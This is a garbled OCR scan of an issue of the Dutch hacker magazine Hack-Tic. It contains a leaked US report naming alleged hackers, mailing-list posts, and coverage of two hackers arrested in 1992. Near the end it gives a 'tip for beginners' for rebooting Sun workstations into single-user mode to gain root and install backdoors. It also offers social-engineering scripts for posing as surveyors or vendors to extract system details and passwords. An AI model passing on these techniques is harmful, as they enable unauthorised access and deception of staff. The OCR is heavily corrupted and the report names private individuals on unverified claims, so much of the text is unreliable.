

100%
TECHNO

HACKTIC



TUIDSCHRIFT VOOR
TECHNO-ANARCHISTEN



f8,-



1985

COLOFON

WEEKLIJK is Nederlands eerste humorblad. Het verschijnt zonder enige regelmaat. Het eerste nummer verscheen 13 januari 1988. Totaal 24, 212, 11712, 14711 en 18717 zijn uitgegeven.

WEEKLIJK heeft veel mooie foto's die meestal Haack Tjo. Ook voor al die kleine advertenties. **LEZEN** 0495-0095

BEELDDRUKERS: The Key, Bild, Carls, The Daily, Herman Aker, Peter Postma, Kofun 3, Ing. (Cees Leude), Jans, Houtros, Julius Deane, FOC Productions, Karla, Fuzza, Wabens Ubenro, Mena Anna, Koster, Rob, Harry gespecialiseerde Amsterdamse de stand-behandeling op de HCC en de enige types op de 'Damp-On Stuff'n Mail-Out'. Verder krijgen we informatie uit de ideale bronnen.

ZWEEP: Carls
WALSTREKERS: Koen Hottentot
BOEKVERSCHEPTE: Pep Congrip
C.V.: Achtsalot/Tulle

BOEKERIJ: De redactie is uitsluitend beschikbaar te bereiken via postbus 22653, 1100 DL Amsterdam. E-mail redactie@haack-tjo.nl Tel: 020-6001880, Fax: 020-6000948

FRANS: Latte ruymten kosten 1 gulden en 50 cent en in abonnement voor 10 nummers (of 5 dubbelnummers, net wat we zin in) kost het 40 peks. Dit is in dubbelnummers en kost f 10. Abonneer u tegelijkertijd bij de Diering Haack Tjo. Abonneer u tegelijkertijd met het laatste uitgegeven nummer.

BEZONNIGHEID, BATES: Outside Holland or Belgium: 10 issues cost us\$ 30, Dit op Annual rate is US\$ 40, 50 DM Payment in Antio Traveler cheques or cash to P.O. Box 22653, 1100 DL, Amsterdam, The Netherlands. Send e-mail to info@haack-tjo.nl for more info.

BEZONNIGHEID VOOR HET LEVEN:
Voor 1995: het jaarcoversluitingsnummer van Haack Tjo dat info re de dood tekenen staat op een ander deel kan gaan. Het abonnement staat nu volop Haack Tjo staat. Nu is niet ge-geen met het verloop van je abonnement. Dubbelende Levensstad: het jaarcoversluitingsnummer van Haack Tjo staat op een ander deel kan gaan. Het abonnement staat nu volop Haack Tjo staat. Nu is niet ge-geen met het verloop van je abonnement.

worden boek van Nederlandse taal de taal van haack-tjo. Als je abonneer voor het leven wordt krijg je alle oude nummers (voor zover voor-rijdig) gratis gestuurd.

BEZONNIGHEID: Het is natuurlijk niet enkel bestel-lijsten makkelijk na te gaan wie er abonneer zijn. Het is een moeilijke positie die je niet wilt verliezen dan kun je ook gelden adere in een moeilijke stoppen en die van deze positie (in 'konst'?) staan, wij weten dan genoeg. De Haack Tjo wordt altijd versuurt in een moeilijke manier, en het abonnement is de onze die is versuurd. Haack Tjo is ook verkrijgbaar bij de goede boekhandel.

BEZONNIGHEID: De informatie in Haack Tjo dient steeds een educatief doel. Gebruik van deze informatie voor strafbare (rechtsgeschiede) straf kunnen zijn. De redactie wijst iedere verantwoordelijkheid voor gebruik deze informatie van de in Haack Tjo opgenomen informatie af. De redactie van een nieuw verspreiden met noodzaak het gebruik van de informatie af te wijzen.

BEZONNIGHEID: Ingevoerd: Krasse, tydens het congresbezoeken politieke partijen was machinerieparelens als reppen zonder voorafgaande toestemming van de redactie (meer natuurlijk wil met bronvermelding) worden overgenomen uit Haack Tjo. De bovenstaande doctrine blijft echter van kracht. Nadruk van de gehele Haack Tjo is natuurlijk verboden.

BEZONNIGHEID: Oude nummers kosten f4,- en kunnen via de redactiepostbus bezold worden. Overige nummers zijn uiteraard en kunnen makkelijk te krijgen. Oude nummers worden versuurd als er een Haack Tjo uitkomt.

HOE: Door Haack Tjo werd met Ventura 10 gerund op een AT 386 met 4 MB geheugen. De plaatjes werden met een Pentax 500 DP1 fotoapparaten opgenomen en print-uitvoeringe pagina's werden met een PACT P6010 laange wil gepreest en dan was ambachtelijk gebruik. Toen hebben we het nog twee andere laan vullen is, meten en stappen in Haack Tjo.

Hacking The Pentagon ?

(Welkom in Hack-Tic 16/17 overigens)

Zoals we allemaal in de kranten hebben kunnen lezen hangt er al sinds jaar en dag een groepje Nederlandse hackers rond in systemen van Amerikaanse leger-onderdelen, marinebases, defensiebedrijven en wat dies meer zij. Hoewel deze hackers over het algemeen slechts toegang hebben tot ongeclassificeerde documenten probeert de Amerikaanse overheid via de pers druk uit te oefenen op de Nederlandse regering om naast te maken met de behandeling van het Wetvoorstel Computercriminatieën (hoewel ook dit wetvoorstel niet voorziet in de tenuitneming straffen die de Amerikanen voor ogen staan).

Nadat een Nederlandse hacker op TV liet zien hoe hij kon inbreken in een tusselijk knallig systeem op de marinebasis in San Diego was de boel aan Muntien later (ambtelijke molens...) kwam er een storm van veroordeling di ocean over. Maar een paar maanden later kwam er een nieuwe storm van veroordeling op gang toen een door het congres herenemde commissie tot de conclusie kwam dat een grote aanvalistische heerd, uit Nederland buidg was om het gehele Amerikaanse defensieapparaat len te leggen.

Binnen dat defensieapparaat waren allerlei computerbeveiligingsafdelingen bezig om te onderzoeken wat er na precies aan de hand was. 1 pagina van het rapport van zo'n afdeling lekte uit. Op de pagina hierna staat (onvertaald) deze ene pagina, geschreven op 24 septe mber 1990.



IN STRICT CONFIDENCE

One of these was of the Netherlands attacks against New York City. (Enclosure 1) Our sources believe also attacks that there are actually two sets of attacks. In the second set of attacks the addresses may be using 2 or 3 sources to access a machine called "G" or possibly "HAWK". We have never learned that there is a stream of computers at MIT with the address of 77-001 other than 77-01 or 77-02, there is a phone connection to 77-001 at MIT. The rest of this code as described in the previous paragraph. The first set of attacks, according to our sources, would normally be more systematically planned than the second set of attacks as through an outside route. During these attacks sources apparently locate new accounts discovered through the first set of attacks and transfer them. Our sources claimed that our source from the Netherlands was bragging that he had been using MIT's own telecommunications U.S. military telephone network, to break into systems. Subsequently, other sources within the U.S. may have indicated to him they have recently found that MIT's own has been illegally used for data transfer between computers.

Our sources believe that two Dutch individuals, Guy Jansen "Guy" Jansz and Maurice van, are principal players in these attacks, although there may be as many as twelve others involved. Jansz is allegedly a contributor to activities of Berlin, a magazine for Berlin, in Amsterdam. He is linked with the second set of attacks, he is the individual who allegedly has bragged about his ability to break into the ARPANET system. Some intelligence described him as technical and capable of taking considerable trouble. In one electronic conversation our source spoke with a system manager at the University of Chicago. A person identifying himself as "Guy" claimed to have spent one year in jail (three days ago via FBI) subsequent to that "Jansz" or an alias "Jansz" or, according to our sources, generally as the Berlin Station in Moscow.

Another link is an alias for Harold H. H., a 33-year old who lives at 12000 40th Street in Forest Hill, New York City. He allegedly is responsible for the first set of attacks. His source believes that he is connected to the Berlin Station system, and several sources have indicated to him that he will be transferring to the Berlin Station within a week to supervise the computer network job with various contractors. According to these sources, it was first how his job as system manager at Washington University. Some time later he allegedly destroyed a number of systems at Washington as retaliation. Our sources sources have indicated to him that with intelligence have had a substantial success in breaking out of living over the last few months. With his wife, for example, he lived with irregularly and in one level level class. Several sources maintain that either the Bureau or the Special at Washington is paying these individuals a large sum of money for military information for U.S. computers. Two informants reportedly will be contacted on one issue, although our confidential source suggests that covering Berlin to the U.S. are supplying the money and funding of through one of these operations.

1. Source reliable, [redacted] 10 11
2. Source reliable [redacted]
Source's information National
Intelligence

IN STRICT CONFIDENCE

Het Lawrence Livermore Laboratory is een 'defence contractor', één van de instellingen die research doet om het doden van mensen in het loch al efficiënte computertijdspek nog iets efficiënter te maken. Zo ontloopten trouwens niet dat het document zelfontleek is. Men zegt mijen schaterend niet en hij te zijn dat deze "brinkstroom" is uitgeklokt. Met andere woorden: "Wij denken het wel, maar efficiënt zeggen we het niet."

Al met al komt het document er wat mij betreft op neer dat ik onder andere spreker dat ik AUTOWON geknipt heb, maar ook van Hack-Tie en een jaar in de jarennegentig heb doorgebracht. Verder was mijn achternaam een pseudoniem zijn. De FBI en 'Army Intelligence' (overigens een contradictie in termen) beweren dat ik "hardened" ben en 'capable of making considerable trouble'. Nog mag dat later, want zijn, en voor Hack-Tie doe ik ook wel eens iets, maar de rest is toch absoluut belachelijk.

Ik was in de zomer van 1990 in Nederland in Amerika, maar ik was er toch echt op vakantie. Eerste klas heb ik ook nog nooit gekregen of zelfs getreid en van AUTOWON heb ik wel eens gehoord. Of ik voor Irak sponsor mag ik zonder overleg met de revolutionaire commando's niet zeggen.

Het is jammer dat de politiek in de Verenigde Staten zich kennelijk laat leiden door dit soort omen. Het is triest dat er een dier is gevonden waarin de schrijver van de rapport cracker van kan zijn die hij zich voor deze noemen nooit zal hooven verantwoordelen. Het wordt beschouwd als gerechtvaardigd om toe te geven dat hackers vaak hobbyisten zijn zonder andere motieven dan nieuwsgierigheid.

Het zou nog triester zijn als de Nederlandse beleidsmakers zich zouden laten beïnvloeden door media-manipulatie. Nederlandse defensie-computers worden niet langzamer bezocht door hackers. Dit komt niet omdat Nederlandse hackers zo niet interessant zouden vinden, maar omdat ze niet verveven zijn met openbare betrouwen. Ook zijn Nederlandse defensiecomputers over het algemeen zeer makkelijk beveiligd.

Als een Nederlandse systeembeheerder een hacker op zijn systeem aanvalt, zegt hij waarschijnlijk hulp om zijn systeem veilig te maken. Als een Amerikaanse systeembeheerder een hacker vindt belt hij de FBI. Je kunt zelf je conclusies trekken, maar als de Amerikanen werkelijk zo belangrijk zijn om indringers uit Irak zouden ze hun computers beter moeten beveiligen. In plaats daarvan gaan de Amerikanen er van uit dat ze hackers altijd voor het gerecht kunnen slopen en dat systeembeveiliging dat niet nodig is. Misschien wordt het opsporen van fictieve vijandelijke, terroristen in computersystemen in Nederland ook nog wel eens een respectabel baan.

Ondertussen, in de polders....

Binnen de groep beheerders van het SurfNet, het netwerk dat alle grote universiteiten verbindt / zou moeten verbinden is in ieder geval het totale gebrek aan humor dat de echte hacker-hoekenjager nodig heeft ruim vertegenwoordigd. Lees mee hoe SurfNet manager Bert Smets en Nijmegen schrijft als hij zich onder indrukken waant. Hij reageert op een bericht waarin netwerk-beheerder Piet Buijsman uit Amsterdam meldt dat "hacktje.nl" inderdaad een volstrekt legaal mail-domein is. Beide berichten komen van de mailing-list SMITMAN, een "intern" forum voor SurfNet managers.

```
From: SMITMAN@heer.0401net.nl Thu Feb 4 11:41:38 1992
Date: Thu, 4 Feb 92 11:41:38 MPT
From: "Bert Smets, OBC-EOR" <Smets@OBC.EOR.NL>
Subject: Re: Een vraagje van RICH HOGST
To: Multiple recipients of <SMITMAN@heer.0401net.nl>
Reply-To: "Bert Smets, OBC-EOR" <Smets@OBC.EOR.NL>
```

> ...stuff deleted..

> Het artikel in het artikel is trouwens karrek: er bestaat
> sinds enige tijd een Stichting Hack-For die het domein
> is "hacktje.nl" gereserveerd heeft.

Ook Piet@heer.nl weet natuurlijk wat voor lui achter hacktje.nl schuilgaan. En ik begrijp best dat hij zich als Internet Naming Authority niet bemint met de activiteiten van aanvragers, maar elke aanvraag die voldoet aan de voorwaarden (wie die er al zijn) accepteert.

Toch ben ik niet helemaal glücklich met dat soort objectiviteit. Ik zou nu ook een kleine aanpakking aan voor Geoprijs.com om door te gaan met hacken: ik heb geen boodschap aan toekomstige in de wet, waardoor hackers juridisch mogelijk krijgen zijn, en ik helemaal niet aan de manier die nu vertelt over systemen die slecht beveiligd zijn en volgens hun dus gekraakt moeten worden, alsof ze de beheerders een dienst bewijzen. Analogie: als weehete wilt te kraken, moet dat wil niet zeggen dat iedereen dus gerechtigd is om binnen te komen, laat staan dat we hier moeten zijn dat iedereen aan-toeten dat het heel niet traagverij is... Wat ik graag zou willen, is dat computerkraken gezien wordt als "overstaptoeren" alleen de sign-atur bepaalt wie erop mogen, en later onder die hoede komt in de afhandeling, of hij nu schade aanricht of niet. En in afwachting van ons wil wel ik er in ieder geval alvast naar handelen.

Overigens vindt ik het tijd worden om eens een knokploeg naar de Hack-Tje te sturen... Welke van zijn erover mogen we praten kan zijn computerapparatuur het leven aan maken...

Groeten, Bert

Beertema zelf reageerde overigens koeltyc.

From: BEERTEMA@nic.SUNPost.nl Thu Feb 6 13:01:08 1993
Sent: Thu, 6 Feb 93 13:24:47 +0100
From: Piek Beertema <Beertema@nic.nl>
Subject: Re: Een strijde uit mijn DAGBO
In-reply-to: Your message of Thu, 4 Feb 1993 13:02:58 .
<BEERTEMA@NIC.NEDONL.NL>
To: Multiple recipients of <BEERTEMA@nic.SUNPost.nl>

Waar ik nu in het artikel in Levenswijze over bestaat
vrijwel enige tijd een Stichting Hack-Tic die het domein
<hacktic.nl> geregistreerd heeft.

ook Piekema.nl weet natuurlijk wel van het achter
<hacktic.nl> verschijpen.

Ja, en ik weet ook anders goed het verschil tussen
hackers en hackers. Ook (zelfs) in die wereld zijn
er destructieve en constructieve hackers. En van
die laatste valt soms heel wat te leren, met name
op het punt van beveiliging.

Ma ik begrijp heel dat hij zich als Internetting
Auteursrecht niet bemoeit met de activiteiten van auteursrecht,
maar zijn aanwezig die volkomen aan de voorwaarden (als
vrij en al zijn acceptant).

Klopt. En heeft andere Kamer van Koophandel ook.

Stech ben ik niet helemaal gelukkig met dat soort objectiviteit.
Ma's niet mijn probleem.

Ma die er toch een andere aanpakking in voor Geopertig
Ma's, en daar te gaan met hackers,
Kieskeuze mensen.

Ma het geen boodschap aan telefoonsamenhang in de wet
En te zien het in hetmaal geen boodschap aan de wet:

overigens vind ik het tijd worden om eens een boodschap
Maar de Hack-Tic te plannen...

Gevoelingsloos v.g. het aanpakking daartoe is wettelijk
gezien een strafbaar feit.

Piek

Als Staffiel van mensen als Smets afhankelijk is dan is het geen wonder dat het
zo'n pijnlijke is. Ook is het goed om te zien dat niet iedereen /'n verstand volk
als een paar kids een beetje hackers. In deze Hack-Tic alles over bekende kids en
mensen die hun verstand verloren hebben

Hackers gearresteerd

Door Felipe Rodríguez en Rog Gonggrijp

De feiten

In de ochtend van maandag 27 januari 1992 om half elf werden er invallen gedaan in de huizen van twee hackers. In Roermond werd het ouderlijk huis van de 21-jarige student Harry W. (alias Wren) doorzocht en in Nuenen dat van de 25-jarige ingenieur Rob N. (alias Fidelio). Student Harry is enkele uren later op het politiebureau van zijn woonplaats ingetrokken alwaar hij dacht de computers van zijn broerstronnie te kunnen halen. Bij de invallen waren onder andere leden van het Politiecommissarisatieteam Amsterdam onder leiding van O. Kooten. Verder werd er in Nuenen assistentie verleend door leden van het korps Rijkspolitie alwaar er in Roermond door leden van de gemeentepolitie. De verdachten werden overgebracht naar Amsterdam. De broer van een van de verdachten werd eveneens medegedeeld dat persoonlijk noch schriftelijk contact met de verdachte was toegestaan. Een pakket bleek dat naar een van de verdachten was opgestuurd kwam 8 dagen na de arrestatie ongeopend terug. Pas op woensdag 5 februari werden de verdachten hoorgevonden.

De beschuldiging

Er zou ingebroken zijn bij de computer bronzo-groen.nl (internet adres 00 37.64 3) bij de Vrije Universiteit (VU) in Amsterdam. Deze computer bestaat volgens de VU inmiddels niet meer.

De formele beschuldiging klinkt valheid in geschifte, verdeling en oplichting. De politie rechtvaardigt de aanspraak van valheid in geschifte door te stellen dat er bestanden op het systeem zijn verwijgd. De beschuldiging van verdeling gaat volgens de politie op omdat het systeem onbruikbaar werd gemaakt, waardoor de verbodening met de buitenwereld geruime tijd verboden moest worden. Dat de hackers zich hebben uitgegeven voor legale systeembeheerders en soms zelfs voor systeembeheerders rechtvaardigt volgens de politie de aanklacht van oplichting.

De 'hackers' zouden volgens de politie inmiddels een volledige bekentenis hebben afgelegd. Volgens een politiewoordvoerder was het motief 'financieel hebzucht'. Woordvoerder Noot van de CRI spreekt van 'de link om te kijken hoe ver je kunt gaan'.

De 'schade'

Volgens J. Rankema, faculteits hoofd van de faculteit architectuurwetenschappen van de VU, overweegt de VU een

Renkema: "Onze beveiliging is zelfs nog strikter dan de richtlijnen aangeven"

Wij besloten om J. Renkema, hoofd van de faculteit aardwetenschappen van de Vrije Universiteit in Amsterdam ook maar eens te belten. Bovendien een vrijwel letterlijke weergave van het gesprek zoals het plaats vond in de ochtend van 3 februari 1992.

Het voor machine van Brons, wat voor OS draaide in op een van voor versien van het OS werd er gebruikt?

Brons was een UNIX, wat voor in de vorm of OS-versie wil ik niet zeggen.

Wij hebben bronst? Was er sprake van zelf een systeembeheer?

Wij hebben een afdeling computerbeheer, die het hele systeem beheert. Wij hebben OS-PC's en OS Workstations, en totaal 20 UNIX systemen. Ik heb licent op er 2. Dit systeembeheer heeft twee

It is Brons van individueel afgestroom?

Brons bestaat nu met meer omvat het waarschijnlijk voor te veel hebben een andere ging zou zijn om te komen. De naam hebben nu dat maar van het een gebruikt

Maar in het systeem van de OS en de politiek worden? Wie was het systeem? Dwing de politiek van op eenzijdig?

Aangifte in politiek reden te wijzen op gecentraliseerd in de systeembeheer en het feitelijk was dat de hebben ook verspreiden. Het was heel duidelijk dat we niet met twee zijn, maar met professionele hackers met een hebben. Dit laatste was 4 december, de hebben, maar al vanaf november in het systeem. De hele loop van de heeft te aangevuld is heel weinig in verspreiden gebruikt. Ik heb zelf van de OS gegeven om mogelijk te doen.

De twee dat schiedt Nippon?

Maar dan de OS van de schiedt bestaat uit het achtervolgen van de hackers, en het werk dat nog kwam van de beveiliging werd opgeeft te brengen. Wij hebben er nu in de 4 maanden discussies, en we verwachtte nog 2 of 3 maanden werk te hebben om al met software te komen.

Verder hebben de hackers waarschijnlijk geheel gemiddeld van een systeem maar je aan-maak-over moet betalen. Dit heeft ook gegeven

inmiddelen politiek geloven. Een systeembeheer had bij een Brons

Was er een systeembeheer, of die een CPU versie van OS-versie??

Dat wordt ook niet.

Hoe verken met die tweede versie?

It sprekt zelf later van immateriële schade. De integriteit van de beveiliging is gebrekkig. De mate van beveiliging moet worden aangepast en het systeem wordt niet meer vertrouwd. De interne beveiliging moet op een ander niveau worden gebracht.

A er beveiligd volgens de richtlijnen van het CPRT en de PC's? Het is een De systeembeheer voor een beveiligingsplan opgeeft?

De beveiliging is zelfs strikter dan deze richtlijnen, wij weten immers in staat professionele hackers om systeem niet alleen op te maken maar al ook nog een lange tijd te volgen. We hebben een aantal ingevonden maar systeembeheerders met welke beveiligingsplan. Daarom beveiliging hebben met een aantal andere de informatie verzameling systeem moet zijn.

Maar waarom de hebben bronst?

Maar te hebben programma's later discussie op diverse systemen, waaronder later ook de OS, die procedurele reden. Een programma-tuur eigen ook mogelijk om een andere systeem te maken.

De programmeren met die rekening?

Ik zeg "ogent zelf toe". Als U die aan mij vraag "Wacht U dat de OS?" dan zeg ik, "Ja, dat word ik denken".

Maar van het bronst dan de OS met van die systeembeheer heeft een andere versie?

Natuurlijk heeft een problemen, wat al kan de OS. Alle versies hebben van de enige maar (of weggevoert) het van heeft en

crisiswedding tegen de daders. Het systeem is door hun activiteiten besmet geraakt en moest geschoond worden. Dit kostte ons maanden werk en zo'n 50000 gulden. Gereguleerde gebruikers betalen voor het gebruik van het systeem en dat hebben de hackers niet gedaan. Het resulteert nog eens tiendertigduizend gulden schade'. Ook was er volgens Reekema sprake zijn van een moreel aspect: de VU ontvingt onder andere vanuit Amerika hoes post van systeembeheerders die denken dat de VU bang is om hun computers te verliezen. Volgens Reekema loopt de universiteit daardoor het risico van de netwerken te worden afgeleest.

Volgens Reekema zijn de hackers bijna onvindbaar na hun inbraak omdat en de hele tijd in de gaten gehouden. Alle schade is dus ontstaan nadat het toevlied oog van de systeembeheerders, zonder dat er maatregelen zijn genomen om de hackers van het systeem te weren. Volgens Reekema waren alle VU systemen op het moment van de inbraak beveiligd volgens de laatste aanbevelingen van het Computer Emergency Response Team en SurfNet BV.

De opsporing

Over de laatste opsporing zegt Reekema in het blad Koepelbericht van de Amsterdamse Gemeentepolitie: 'Over het algemeen heerst de mening dat je hackers niet kunt haacren. Ook in hun eigen blaadjes (o.a. 'Hackers' ref.) stellen ze dat ze ongrifbaar zijn. De politie zou ze nooit te pakken

krijgen. Ik ben echter blij dat ik daar toch ben binnengestapt. Met veel medewerking van CRI en de verschillende pilotteams computerfraude en daarbij de medewerking van eigen personeel, werd het al snel duidelijk wie de daders waren en wat ze gedaan hadden. Ik ben blij dat de zaak door beslechting van kriacht en kennis is opgelost en de verdachten zijn aangehouden. Een compliment aan de pilotteams en de CRI. Ze beschikken over veel meer kennis dan in onze wereld wordt verondersteld. Ons computersysteem was over hun totaal nieuw, maar ze waren er verzaand aan te thuis. Zoals zij met steun van onze systeembeheerders en wettelijke informatie de haardel en warden van de hackers konden volgen en vastleggen. Het beeld dat wij van jullie hadden is flink bijgesteld. En de rest van Nederland heeft nu een duidelijk teken dat je niet werken bent tegen hackers.'

Wat is er waarschijnlijk werkelijk gebeurd?

De aandacht 'aanpassen van systeemsoftware' zou kunnen duiden op het door de hackers installeren van 'back-doors' waarmee toegang tot het systeem veilig werd gesteld, ook als de systeembeheerders wachtwoorden worden veranderd. Ook zouden er nieuwe versies van programma's als 'telnet', 'ftp' en 'finger' geïnstalleerd kunnen zijn. Deze programma's worden gebruikt om vanuit een op het 'internet' aangesloten systeem te communiceren met andere systemen op het net. Een bekende hackers-truuk is om

de software zo te veranderen dat de gebruiksmanen en wachtwoorden van andere systemen op een verkeerde plaats in het systeem worden vastgelegd. Zo krijgen hackers toegang tot andere systemen op het internet.

Over de ware toedracht blijft het raadsel, maar in ieder geval geeft zich de CRI toe dat er in dit geval geen ander motief was dan het "datanood", het "lijken hoe ver je kunt gaan".

Over hacken in het algemeen...

In het verleden hebben wij gewaarschuwd dat de nieuwe wetten tegen computercriminaliteit alleen bruikbaar zijn tegen hackers, die verder geen

brede bedoelingen hebben. Tegoe de werkelijke 'computercriminaliteit' is een wet delica, omdat ze toch onrijpbaar blijven. De CRI vertelt de media maar al te graag dat hacken geen prioriteit heeft bij de opsporing. Als er toch resultaten geboekt moeten worden is de hacker kennelijk een makkelijk doelwit.

Een resultaat moeten er geboekt worden. De druk uit vooral de Verenigde Staten is de laatste maanden zo hoog opgevoerd dat het voor de Nederlandse justitie geschiedverhaal zou zijn geweest om niet op te treden. Het lijkt alsof de arrestaties vooral bedoeld zijn om de Amerikaanse angst voor een overmaat 'hacker-paradijs' te wassen.

In de tienduizenden....

De VU lasceert de gelachte dat systeembeveiliging op hun systemen alleen maar nodig was vanwege deze twee hackers. Alle kosten die er met betrekking tot systeembeveiliging zijn gemaakt, worden op twee hackers verbaald die toevallig hakenkopen. Voor de mensen die hacken graag doen in termen van metaforen, het is als het hakenkopen is een gebouwal studietje, wat rondlopen en vervolgens de rekening krijgen voor het nieuwe abonnement dat nu geïnstalleerd moet worden.

Systeembeveiliging is een normaal onderdeel van de taak van elke systeembeheerder. Niet alleen omdat het systeem beveiligd moet worden tegen inbreken van buitenaf, maar ook omdat de gebruikers onderling tegen elkaar aansprakelijkheid moeten worden be-

Herschberg: "Het hele proces wordt onvoorspelbaar opgeblazen".

Professoor J.J. Herschberg is hoogleraar in jurisprudentie aan de Vrije Universiteit van Amsterdam, of het daar over het algemeen van deze niet gaat.

"De he proces is i weet niet voor welke opschikking! In dan de 2000 gaten schade - hadden er niet meer beter moeten bevrijden. Het hele proces wordt opgeblazen. In het hele is de digitale mensen in de wereldcomputer? Daar hangt het op de aan van ik op zich ook."

"Ach ja, de schade" aangereikt door hackers, of door het systeembeheer. De had den er veel eerder onopgevoerd moeten worden. Volgens mij heeft de VU geen post om op te staan. Maakt meent werk is erin, de schade is te betalen tot verzuimendheden schadelijk voor iets dat al eerder had moeten gebeuren. In om morele schade hebben er veel gevraagd, het is alleen maar goed dat de schadegevoelens geïntegreerd worden."

Wat betreft de voorlichting of zijn tal-
loze gevallen bekend van systeem-
beheerders die polio dingen gaan doen
als hun systeem wordt gekraakt. Een
goed opgeleide systeembeheerder kan
zijn systeem beveiligen zonder dat het
daar (seconde voor van het net gehaald
hoefte te worden. Alleen de hackers
moeten betalen voor de ongewoonlijke
incompetentie van het systeembeheer.

Hiermee is niet gezegd dat het beh-
ven van hackers op een systeem niet erg
belangrijk is. Het Internet is echter
een openbaar netwerk en als je een
systeem op het Internet aansluit zul je
er dus rekening mee moeten houden
dat er mensen zullen proberen binnen
te komen. Als je je systeem niet goed
kunt beveiligen kan je verwachten dat

je van het net wordt afgesloten. Dat is
niet een idee, maar het beleid van veel
netwerkorganisaties. Het is misschien
vergelijkbaar met het installeren van
een nieuwe telefooncentrale in een be-
drijf. Als ik die central direct bereikbaar
is zul je ook het personeel dat de tele-
foon opmaakt moeten vertellen dat ze
bepaalde dingen niet aan toestaan. Het
moeten laten. Het is het de fout van de
opsteller dat hij al te loslippige me-
dewerkers aanroeft. Als je een routeje
door de bureau's hangt vallen er
menschen aan te kijken. Als deze menschen
alreeds aandacht moet je ze verhoor-
gen, maar niet voor de kosten van het
systeem te betalen en het uiteindelijk
beveiligen.



De spullen van Harry en Rob op het hoofdkwartier van politie in Amsterdam
(Foto: Republiekerafdeel politie Amsterdam)

De consequenties van een veroordeling

Als de verdachten veroordeeld worden maakt de VU een rechtszaak van om een deel van de schadeclaim terug te krijgen. Verder is deze zaak van belang voor alle andere hackers in Nederland. Het lobbyt voor strengere strafbare provisions op, en veel hackers zouden dan hun activiteiten staken. Anderen zullen 'bedrogproef' gaan, hetgeen de discussie tussen hackers en systeembeheerders en de relatieve openheid in de computer veiligheidswereld niet ten goede zal komen.

Publieke systemen

Als je geen student bent, en niet werkt voor een groot bedrijf dat zich een Internet toegang kan veroorloven, dan kun je niet rekenen door de vele publieke faciliteiten die het Internet biedt. Zolang er geen legale manier is voor zo veel mensen om van het net

gebruik te maken, zullen er mensen zijn die zich een weg naar binnen hacken. Of dat goed of slecht is doet eigenlijk niet eens ter zake. Als er geen vrijheid is om te verlossen zullen hackers steeds meer gaan vrijlozen aan het beeld dat de overheid van ze heeft.

Enige maanden later

Hoe is het allemaal afgelopen? Rob en Harry wachten nog steeds op hun proces en, wat veel erger is, op de apparatuur die in beslag is genomen. Het hacken op een harddisk moet toch zelfs voor een piloot een niet meer dan een middagje werk zijn? Het is de bedoeling dat het bewijsmateriaal wordt onderzocht, en niet dat er een voorschotje wordt genomen op een overtuigde bestraffing van de verdachten!

En Livorno? Die graaude overdraagbaar voort, maar daarover misschien meer in een volgende Hack-Tie.

Knap en hacker!

Truukje van Rob

Oh trouwen, nu ik jullie toch spreuk ik weet nog een leuke tip voor de beginnende hackers. Veel mensen werken op of in de buurt van een Sun workstation. Veel systeembeheerders weten niet hoe ze hun systeem moeten beveiligen tegen lokale reboots in single-user mode.

Druk tegelijkertijd de toetsen 'r' en 'LI' in. Er verschijnt dan een '>' prompt. Toets nu 'b-r' om het systeem in single-user mode te booten. Als er geen disk in het systeem zit moet je 'b-r(0,0,0)' invullen om het systeem van het bufferdisk te booten. Als het goed is zit je een paar seconden op je scherm, gevolgd door de super-user prompt '#'. Nu kun je, op je gemak je root-activiteiten en andere grappjes installeren. Druk op control-d en het systeem boot in multi-user mode, en alles is weer zoals je het hebt aangetroffen.

Advanced Social Engineering

De telefoniste moet het weer ontgelden (maar zij niet alleen....)

de enquête

Telefonisten zijn heel per maand worden de automatiserings-afdelingen van grote en minder grote bedrijven langje gevallen door enquêteurs. Meestal vinden de telefonisten systembeheerders het zo geweldig dat ze met iemand anders over hun systeem kunnen praten, die ze de meeste scores om de meest achterlijke vragen te beantwoorden. Hiervan wordt dankbaar gebruik gemaakt door phreaks en hackers. Door je voor te doen als enquêteur, kan je de meest esotergische informatie kunnen krijgen, mits je het interview geloofwaardig afneemt. Sleutelwoord is hier "geloofwaardig".

Voor de keuzen onder ons, zo moet het niet

"Hé, heb je pluk van VAX staan, om te draait dat geval onder UNIX systeem V, en oh—gebruiken jullie ook standaardlogica, en dit is jullie op internet?"

Voorbeeld van enkele goede vragen:

- "Van welke systeemsoftware maakt u gebruik?"
Tijd het antwoord kan je vaak al opmaken of het systeem interessant is of niet.
- "Werd het systeemonderhoud door u uitgevoerd?" Belangrijke vraag! Als het antwoord JA luidt, dan is natuurlijk je volgende vraag: "Aan wie?" Luik voor de volgende dag: "In kalk, met XYZ van ABC, wij wilden even wat remote systeemonderhoud verrichten op de site."
- "Maakt u ook gebruik van telecommunicatie-apparatuur?" Deze vraag gaat vooral aan grootte klassiekum als: "maakt u gebruik van Outspan-1" en "over hoeveel distalities heeft uw bedrijf de beschikking?"
- "Doet uw bedrijf akkoord aan computerschuldiging?" Deze vraag betekent dat je 2 dagen lang tijdje om defenier-III modems op straat bekken en zo.

Als je je vragen waarom je iets wilt weten, baseer je dan in overtuigendheid, en zeg dat je ook maar van afdelingsrecht bent, die de vragen van een formaler optimaal MCTE: Maak, als het om computersystemen gaat, duidelijk dat de enquête vrij tekenend is, anders schepen ze je af met een of ander bleekend gebild boekhoudertje dat vindt dat hij er alles vanaf weet, maar jou niets zinnigs weet te vertellen.

De vriendelijke expert

Als je echt veel weet van een bepaald OS, of van een bepaald telefoonsysteem, dan kun je het volgende eens proberen:

Eerst bel je een paar keer op met wat normale vragen, zoals "ik hoorde dat er wat printer problemen waren?" (die zijn er zo goed als altijd), of "ik stuur een paar testtonen over de lijn, kun jij ze aan je kant horen?" etc. etc. Nadat je plus 5 à 10 keer gebeld hebt, begrepen ze je te kennen, en kan je wat zwaai (of meer) vragen stellen als het "echte" personeel. Als ze dan eens tijd af te schenken meer zijn met uits, kan je ze op hun gemak vragen met "ah ja, ik heb jou toen toch ook gemanuscripteerd met <val maar in>".

De belangstellende collega

Rek deze trank bel je een bedrijf op, en stel je je voor als een persoon, die ook in de branche zit (het licht het weg van dit bedrijf). Zeg dat je van computerbedrijf XXX dit bedrijf als referentie opgevraagd hebt, en vraag of je de systeembeheerder kunt spreken. Vervolgens vraag je hem het hand van zijn lijn, en door wat door te vragen kun je hem makkelijk wat info-acties doen. Voorbeeld: "Ja, een tijdje geleden hadden wij nog last van de 'n' buffers, hebben jullie daar nou ook last van gehad? Tja, ze zeiden toen dat ik alle default passwords eruit moest halen, maar ik ben daar gelukkig. Zou jij misschien een paar dozen?"

De fax: een handig apparaat

Het leuke van een faxbericht is dat het:

